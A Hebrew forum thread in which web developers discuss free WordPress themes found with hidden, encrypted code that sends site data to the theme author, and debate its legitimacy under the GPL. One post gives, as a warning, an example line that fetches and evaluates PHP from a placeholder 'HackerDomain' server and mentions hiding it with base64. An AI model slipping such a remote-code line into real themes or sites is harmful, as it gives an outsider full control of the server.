התקנתם תבנית לוורדפרס שלכם? כדאי מאד שתקראו את זה..

[KingYes]

פוסט מעניין בנושא תבניות מוכנות בעברית.
כל הרשת היית על הרגלים בגלל זה..

עוד סיבה למה אני תמיד אומר לכתוב תבנית משלכם ולא לרכוש את הזבל הזה..

 

[Shlomi]

ישן..
כבר שנים אני מנקה תבניות חינמיות \ פרוצות \ מתורגמות מקודים כאלו

מה מתעוררים עכשיו?

 

[Yehuda Kremer]

ישן..
כבר שנים אני מנקה תבניות חינמיות \ פרוצות \ מתורגמות מקודים כאלו

יופי לך.

ישן..
מה מתעוררים עכשיו?

אני פעם ראשונה רואה את זה.

 

[דינקיס]

אין לי מושג מה בדיוק הקוד הזה ששתלו בתבניות, אבל בתבניות חינמיות בעולם מאוד מקובל לקודד את הלינקים ב FOOTER של האתר. אבל הם כבר לא ממש אפקטיביים כי אנשים טובים יצרו גנרטור פיענוח לקידודים הללו.

למיטב הבנתי הסיפור פה הוא שונה לגמרי, והרבה יותר גרוע ממה שאני ראיתי עד היום בתבניות.

ב"ה לא יצא לי להוריד מהם תבניות כלשהן, אני בד"כ בונה תבניות מאפס או יותר נכון מ 2010

 

[תמנתי ווב דיזיין]

האם הבעיה הזו רק בוורדפרס, או גם בג'ומלה ואחרות?

 

[Shlomi]

האם הבעיה הזו רק בוורדפרס, או גם בג'ומלה ואחרות?

הבעיה נפוצה בעיקר בוורדפרס.
אני לא עובד עם גומל'ה אבל מבחינת טכנית - ודאי שאפשרי.

 

[יריב]

שליחת מייל ? - שרתי cpanel לא מאפשרים לזה לקרות כי יש סקנר שמודיע על קוד שתפקידו לשלוח מייל.

מעקף - ניתן לקבל סטטיסטיקה על האתר גם בלי מייל אלא ע"י הפעלת תמונת PHP או סקריפט בשרת המרוחק, את זה ניתן בקלות למנוע ע"י הגדרת כל הקישורים לקישורים יחסיים לאתר שלכם ולאחר מכן הצגת קוד מקור וחיפוש הטקסט: http:

כך שכל מתכנת מהולל ככל שיהיה בסופו של דבר מפיל על עצמו את הים אם לא כתב בתנאי ההורדה שהורדה מאצלו כוללת את הפיצ'רים המוזכרים ומבחינתו אם לא מתאים לך אל תוריד.

מה עושים איתו בכל אופן: כלום, זו זכותו לתת בחינם כדי לקבל רווח צידי וזה זכותכם לקנות טמפלייט ב-50 דולר מחברה רצינית יותר.
למעשה גם תקבלו הרבה יותר. (פקינ 50 דולר, למה להשתמש ב"חינמיים")

בהצלחה לכל בוני האתרים תברחו מחינם שאינו קוד פתוח סטנדרטי.

 

[Shlomi]

שליחת מייל ? - שרתי cpanel לא מאפשרים לזה לקרות כי יש סקנר שמודיע על קוד שתפקידו לשלוח מייל.

מעקף - ניתן לקבל סטטיסטיקה על האתר גם בלי מייל אלא ע"י הפעלת תמונת PHP או סקריפט בשרת המרוחק, את זה ניתן בקלות למנוע ע"י הגדרת כל הקישורים לקישורים יחסיים לאתר שלכם ולאחר מכן הצגת קוד מקור וחיפוש הטקסט: http:

כך שכל מתכנת מהולל ככל שיהיה בסופו של דבר מפיל על עצמו את הים אם לא כתב בתנאי ההורדה שהורדה מאצלו כוללת את הפיצ'רים המוזכרים ומבחינתו אם לא מתאים לך אל תוריד.

מה עושים איתו בכל אופן: כלום, זו זכותו לתת בחינם כדי לקבל רווח צידי וזה זכותכם לקנות טמפלייט ב-50 דולר מחברה רצינית יותר.
למעשה גם תקבלו הרבה יותר. (פקינ 50 דולר, למה להשתמש ב"חינמיים")

בהצלחה לכל בוני האתרים תברחו מחינם שאינו קוד פתוח סטנדרטי.

כל מילה אמת.

עבדתי עם לקוח שרכש תבנית ב70 דולר וכל התבנית זבל אחד גדול.
צריך גם לדעת מאיפה קונים..

 

[wmw]

אני מוריד תבניות חינמיות מאתר מסויים
הם דורשים שאני ישאיר לינק אליהם בFOOTER, ואני עושה זאת בשמחה
למרות שלפעמים אני עובד קשה "לגייר" את התבנית, מחליף את התמונות וכו', עד שלפעמים הוא לא ממש דומה למקור...
בקובץ ה CSS הם דורשים להותיר את ההערה על כך שהם המקור, ולמרות השינויים וההתאמות שאני עורך אני משאיר את זה.
הבחור השאיר קוד שעוזר לו לזהות ברשת מי שמשתמש בתבנית שלו ויצר התרעה במקרה שמסירים את הלינק אליו.
אם הוא היה כותב במפורש שזה קוד קיים בתבנית, והוא דורש להשאיר אותו, אני חושב שזה היה תקין לחלוטין, לדעתי הוא כתב בתנאי הרשיון את התנאי לשים לינק אליו, ואם הוא רק היה כותב שם שיש בתבנית אמצעים לזיהוי ההפרה, זה היה מכסה אותו.
לא הייתי תובע מישהו שנתן לי משהו בחינם, על קוד כזה.
זו לא מלכודת או קראק לפריצה.
הוא לא פיתח תבנית כדי להשחיל את הקוד, להיפך, הוא פיתח את הקוד כדי להגן על ההשקעה ביצירה שלו.

 

[KingYes]

סליחה? הוא מגיע למסד נתונים שלי ללא רשות. למה שאני יסכים לכזה דבר לקרות?
נכון שעכשיו זה 'רק' סטטיסטיקות לכמות הפוסטים, אבל מחר הוא יוכל לעשות דברים יותר גרועים.

ועוד לחשוב שזה רישיון GPL.. מותר לו "להגן" על ההשקעה שלו ככה? שישחרר ברישיון אחר..

הנה הפירוט לקוד:
http://n2b.org/archives/2330

 

[mat]

אתם קולטים שורה אחת כזאת.

eval(file_get_contents("http://HackerDomain/cmd"));

והאתר שלכם פרוץ לחלוטין.

כמובן שאפשר להסתיר את זה דרך קידוד base64 ולעשות השרת לא ישלח נתונים בכלל

כך שזה יהיה תמים עד שיום אחד זה יתפרץ.


כך שאני היום מאוד יחשוש להוריד עיצוב מוכן אלא אם אני יבדוק אותו לגמרי.

אבל תחשבו על אנשים שלא מבינים בתיכנות שמשתמשים בערכות הם יכולים בקלות ליפול לתוך המילקוד הזה בלי לדעת בכלל.

 

[KingYes]

ומחר יגידו למה צריכים מתכנתים

 

[wmw]

ומחר יגידו למה צריכים מתכנתים

צריכים כדי להטמיע קוד זדוני

 

[Shlomi]

צריכים כדי להטמיע קוד זדוני

 

[chani-studi]

המסקנה לא להוריד ולהשתמש שום דבר ברשת.
בלי לקרא טוב טוב את פרטי הרשיון
הרבה מאוד מההורדות ה"חינמיות" הן תמורת לינק
בד"כ בתבניות האלה יש קובץ license מצורף עם הסבר על התנאים.
הרבה אנשים פשוט מפספסים ולא שמים לב לתנאים וההגבלות...

 

[KingYes]

רישיון GPL.. איפה בדיוק כתוב שמה שצריך לתת לינק?

 

[Shlomi]

המסקנה לא להוריד ולהשתמש שום דבר ברשת.
בלי לקרא טוב טוב את פרטי הרשיון
הרבה מאוד מההורדות ה"חינמיות" הן תמורת לינק
בד"כ בתבניות האלה יש קובץ license מצורף עם הסבר על התנאים.
הרבה אנשים פשוט מפספסים ולא שמים לב לתנאים וההגבלות...

לינק זה בHTML שניתן להסיר - זה לגטימי לחלוטין.
אבל עד לקבל גישה למסד נתונים שלי? להריץ קודים זדוניים אצלי בשרת?

 

[chani-studi]

רישיון GPL.. איפה בדיוק כתוב שמה שצריך לתת לינק?

הלוואי שכל ההורדות האיכותיות ברשת היו עם רשיון GPL...

 

[chani-studi]

לינק זה בHTML שניתן להסיר - זה לגטימי לחלוטין.
אבל עד לקבל גישה למסד נתונים שלי? להריץ קודים זדוניים אצלי בשרת?

צריך לבדוק אם בהרשמה לאתר או להורדה
לא היה סעיף קטנטן בנושא.

סימון קטן של תיבה i agree
והוא יכול לעשות מה שבא לו בשרת ...

 

[Shlomi]

צריך לבדוק אם בהרשמה לאתר או להורדה
לא היה סעיף קטנטן בנושא.

סימון קטן של תיבה i agree
והוא יכול לעשות מה שבא לו בשרת ...

אין שום אזכור בנושא
וזה הסיבה גם שהדבר עורר "סערה" והקוד עצמו היה מוצפן.